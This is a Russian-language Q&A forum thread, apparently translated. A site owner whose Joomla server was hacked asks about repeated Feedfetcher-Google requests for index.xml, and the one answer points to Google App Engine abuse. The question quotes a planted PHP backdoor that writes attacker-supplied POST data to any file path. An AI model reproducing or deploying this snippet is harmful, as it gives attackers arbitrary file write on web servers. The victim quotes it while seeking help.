Постоянно кто-то делает запрос на index.xml

Мой сервер был недавно взломан из-за Joomla и allow_url_fopen = ON. Я вижу различные php-файлы в корне моего сервера с этим содержимым в них

Restricted accoss
<?php
error_reporting(0); 
ini_set("max_execution_time",0); 
ini_set("default_socket_timeout", 2); 
ob_implicit_flush (1); 
$file = "".$_POST["path"];
$fh = fopen ($file, 'w') or die("");
echo fwrite ($fh, stripslashes($_POST["raw_data"]));
fclose($fh);

поэтому я закрываю allow_url_fopen и удаляю все эти файлы. Теперь мой сайт работает нормально в течение нескольких минут, но он отправляет запросы каждые несколько секунд на этот адрес, сообщая об этом в error_log

[Thu Mar 07 00:14:00 2013] [error] [client 74.125.185.16] File does not exist: /var/www/html/index.xml

Это я вижу в access_log много времени

74.125.179.86 - - [07/Mar/2013:00:15:39 +0000] "GET /index.xml HTTP/1.1" 404 293 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+google.com/feedfetcher.html)"; 

Так это нормально?

1 ответ

Решение

Похоже, кто-то злоупотребляет Google App Engine. Проверьте свой журнал доступа Apache для того IP-адреса, и у строки агента пользователя должен быть свой идентификатор приложения. Затем вы можете сообщить о нарушении в Google.

Другие вопросы по тегам